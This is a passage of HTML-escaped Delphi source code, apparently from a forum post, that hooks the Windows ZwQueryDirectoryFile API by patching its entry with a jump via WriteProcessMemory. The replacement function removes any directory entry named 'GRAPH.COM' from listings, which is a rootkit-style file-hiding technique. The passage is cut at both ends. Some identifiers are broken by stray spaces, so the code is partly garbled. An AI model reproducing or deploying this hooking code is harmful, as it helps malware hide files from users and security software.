/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Len: integer&amp;#41;: boolean; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i: integer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := true; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i:=0 to (len div 2&amp;#41;-1 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if str1&amp;#91;i]&lt;&gt;str2&amp;#91;i] then Result := false &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Function TrueZwQueryDirectoryFile(FileHandle: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Event: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ApcRoutine: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ApcContext: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IoStatusBlock: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformation: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformationLength: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformationClass: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReturnSingleEntry: bool; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileName: PUnicodeString; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RestartScan: bool&amp;#41;: NTStatus; stdcall; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Written: dword; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@OldZwq, SizeOf(OldCode&amp;#41;, Written&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := ZwQueryDirectoryFile(FileHandle, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Event, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ApcRoutine, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ApcContext, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I oStatusBlock, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformation, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformationLength, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformationClass, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;R eturnSingleEntry, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileName, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RestartScan&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@JmpZwq, SizeOf(far_jmp&amp;#41;, Written&amp;#41; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Function NewZwQueryDirectoryFile(FileHandle: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Event: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ApcRoutine: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ApcContext: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IoStatusBlock: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformation: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformationLength: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformationClass: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReturnSingleEntry: bool; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileName: PUnicodeString; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RestartScan: bool&amp;#41;: NTStatus; stdcall; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileDirectoryInfo, FileDirectoryInfo:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PFILE_DIRECTORY_INFORMATION; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileFullDirectoryInfo, FileFullDirectoryInfo: PFILE_FULL_DIRECTORY_INFORMATION; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileBothDirectoryInfo, FileBothDirectoryInfo: PFILE_BOTH_DIRECTORY_INFORMATION; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileNamesInfo, FileNamesInfo:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PFILE_NAMES_INFORMATION; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Offset : dword; &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := TrueZwQueryDirectoryFile(FileHandle, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Event, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ApcRoutine, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ApcContext, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I oStatusBlock, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformation, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformationLength, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformationClass, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;R eturnSingleEntry, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileName, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RestartScan&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Result = STATUS_SUCCESS then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Offset := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case FileInformationClass of &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileDirectoryInformation: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileDirectoryInfo := nil; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repeat &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileDirectoryInfo := FileDirectoryInfo; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileDirectoryInfo := pointer(dword(FileInformation&amp;#41; + Offset&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (FileDirectoryInfo^.FileNameLength &gt; 1&amp;#41; and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(cpmpwclen(FileDirectoryInfo^.FileName, &apos;GRAPH.COM&apos;,FileDirectoryInfo^.FileNameLength&amp;#41;&amp;#41;&amp;nbsp;&amp;nbsp;then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if FileDirectoryInfo^.NextEntryOffset = 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LastFileDirectoryInfo &lt;&gt; nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileDirectoryInfo^.NextEntryOffset := 0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else Result := STATUS_NO_SUCH_FILE &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LastFileDirectoryInfo &lt;&gt; nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileDirectoryInfo^.NextEntryOffset := LastFileDirectoryInfo^.NextEntryOffset + FileDirectoryInfo^.NextEntryOffset &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Offset := Offset + FileDirectoryInfo^.NextEntryOffset; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;until FileDirectoryInfo^.NextEntryOffset = 0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileFullDirectoryInformation: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br 